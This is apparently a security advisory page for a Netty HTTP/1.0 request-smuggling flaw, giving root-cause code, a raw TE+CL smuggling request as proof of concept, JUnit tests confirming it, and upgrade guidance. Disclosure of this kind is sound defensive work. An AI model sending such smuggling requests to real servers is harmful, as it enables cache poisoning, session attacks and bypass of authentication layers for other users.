Skip to content

GHSA-xxqh-mfjm-7mv9 CVE-2026-42581

Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Critical Maven
Severity
5.8 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.63%
Chance of exploitation in the next 30 days. Higher than 50.22% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Fix
4.2.13.Final
Upgrade io.netty:netty-codec-http to this version or later

Description

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Field Value
Library io.netty:netty-codec-http
Component codec-http — HttpObjectDecoder
Severity HIGH
Affects HEAD, commit 4f3533ae confirmed

Summary

HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.


Root Cause

// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
    this.chunked = true;
    if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
        handleTransferEncodingChunkedWithContentLength(message);  // strips CL — HTTP/1.1 only
    }
    return State.READ_CHUNK_SIZE;
}

// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
    contentLength = Long.MIN_VALUE;
}

The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.


Proof of Concept

POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n

Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.


Conditions Required

  1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes).
  2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
  3. No additional HTTP/1.0 stripping layer between attacker and Netty.

Impact

Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.


Confirmed PoC Test

Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.

package io.netty.handler.codec.http;

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.*;

public class NettySmugglingSec001Test {

    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
    @Test
    public void http10_contentLengthNotStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.0\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
        // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
        ch.finishAndReleaseAll();
    }

    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
    @Test
    public void http11_contentLengthStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.1\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
        ch.finishAndReleaseAll();
    }
}

Fix Guidance

Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.

Affected versions

Maven

PackageVulnerableFixed in
io.netty:netty-codec-http
>= 4.2.0.Alpha1, < 4.2.13.Final
4.2.13.Final
io.netty:netty-codec-http
< 4.1.133.Final
4.1.133.Final

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

io.netty:netty-codec-http Maven → 4.2.13.Final

maven
<dependency><groupId>io.netty</groupId><artifactId>netty-codec-http</artifactId><version>4.2.13.Final</version></dependency>
gradle
implementation("io.netty:netty-codec-http:4.2.13.Final")

Severity breakdown

CVSS 3.1 5.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

How to prevent it
  • Implementation: Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
  • Implementation: Use only SSL communication.
  • Implementation: Terminate the client session after each request.
  • System Configuration: Turn all pages to non-cacheable.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c42-7qj2-3j46
Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite
High Also affects io.netty:netty-codec-http
GHSA-gcjf-9mgh-3p7g
Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
Medium Also affects io.netty:netty-codec-http
GHSA-q4f6-jm68-57ww
Netty: [HttpContentEncoder] Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service
High Also affects io.netty:netty-codec-http
GHSA-4mp9-239f-g9hg
Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation
High Also affects io.netty:netty-codec-http
GHSA-6cqp-g7gg-8hr5
Netty: Security Control Bypass via CORS Short-Circuit Failure
Medium Also affects io.netty:netty-codec-http
GHSA-jppx-w49h-x2qq
Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion
High Also affects io.netty:netty-codec-http
GHSA-mvh2-crg5-v77c
Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation
High Also affects io.netty:netty-codec-http
GHSA-6jqx-86gh-f27w
Netty SPDY SETTINGS frame count materializes unbounded settings map
High Also affects io.netty:netty-codec-http
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor